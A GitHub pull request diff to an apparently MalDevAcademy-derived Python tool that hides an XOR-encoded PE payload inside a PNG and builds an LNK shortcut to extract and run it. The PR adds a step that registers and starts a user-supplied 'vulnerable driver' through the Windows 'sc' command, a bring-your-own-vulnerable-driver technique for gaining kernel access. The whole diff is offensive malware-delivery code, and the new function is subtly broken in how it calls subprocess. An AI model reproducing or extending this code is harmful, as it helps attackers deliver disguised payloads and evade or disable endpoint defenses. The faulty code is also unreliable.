Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Feat add vulnurable driver loading support #3

Draft
wants to merge 2 commits into
base: main
Choose a base branch
from
Draft

Feat add vulnurable driver loading support #3

Changes from all commits
Commits
Show all changes
2 commits
Select commit Hold shift + click to select a range
11a59e6
fix: adjust idention level
0x5844 Dec 18, 2024
655f803
feat: add vulnurable driver support
0x5844 Dec 18, 2024
File filter

Filter by extension

Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
38 changes: 30 additions & 8 deletions InsertPeIntoPng.py
View file
Open in desktop
Original file line number Diff line number Diff line change
@@ -1,7 +1,8 @@
# @NUL0x4C | @mrd0x : MalDevAcademy
import sys
import subprocess
import os
import subprocess
import sys


def install(package):
print(f"[i] Installing {package}...")
Expand Down Expand Up @@ -30,17 +31,17 @@ def install(package):
print("[i] Detected an missing library")
install("pywin32")

import zlib
import shutil
import os
import sys
import argparse
import os
import random
import shutil
import string
import sys
import zlib

import pefile
from win32com.client import Dispatch
from colorama import Fore, Style, init
from win32com.client import Dispatch

PNG_SGN = b'\x89\x50\x4E\x47\x0D\x0A\x1A\x0A' # PNG file signature
IDAT = b'\x49\x44\x41\x54' # 'IDAT'
Expand Down Expand Up @@ -172,6 +173,18 @@ def create_shortcut(lnk_path, arguments, icon_file="", icon_index=0, working_dir

# ------------------------------------------------------------------------------------------------------------------------

def load_vulnerable_driver(driver_path):
print(f"{Fore.WHITE}[i] Loading the vulnerable driver...{Style.RESET_ALL}")
try:
subprocess.check_call(["sc", "create", "vuln_driver", f"binPath= {driver_path}"], check=True)
subprocess.check_call(["sc", "start", "vuln_driver"], check=True)
print(f"{Fore.GREEN}[+] Vulnerable driver loaded successfully!{Style.RESET_ALL}")
except Exception as e:
print_red(f"[!] Failed to load the vulnerable driver: {e}")
sys.exit(1)

# ------------------------------------------------------------------------------------------------------------------------

def is_png(file_path):

if not os.path.isfile(file_path):
Expand All @@ -188,7 +201,7 @@ def is_png(file_path):
# ------------------------------------------------------------------------------------------------------------------------

def is_pe(file_path):
if not os.path.isfile(file_path):
if not os.path.isfile(file_path):
raise FileNotFoundError(f"[!] '{file_path}' does not exist")

try:
Expand Down Expand Up @@ -244,6 +257,7 @@ def main():
parser.add_argument('-i', '--input', type=str, required=True, help="Input PE payload file")
parser.add_argument('-png', '--pngfile', type=str, required=True, help="Input PNG file to embed the PE payload into")
parser.add_argument('-o', '--output', type=str, required=True, help="Output PNG/LNK file name")
parser.add_argument('-d', '--driver', type=str, required=False, help="Path to the vulnerable driver")
args = parser.parse_args()

# Add file extensions to output files (PNG/LNK)
Expand All @@ -270,6 +284,14 @@ def main():
xor_key_offset = plant_pe_in_png(args.pngfile, opng_fname, payload_data)
print(f"[*] {Fore.YELLOW}{opng_fname}{Style.RESET_ALL} is created!")

# Load vulnerable driver if provided
if args.driver:
driver_path = os.path.abspath(args.driver)
if not os.path.exists(driver_path):
print_red(f"[!] '{driver_path}' does not exist")
sys.exit(1)
load_vulnerable_driver(driver_path)

# create extraction command
extraction_command = create_lnk_extraction_cmnd(xor_key_offset, opng_fname, args.input)

Expand Down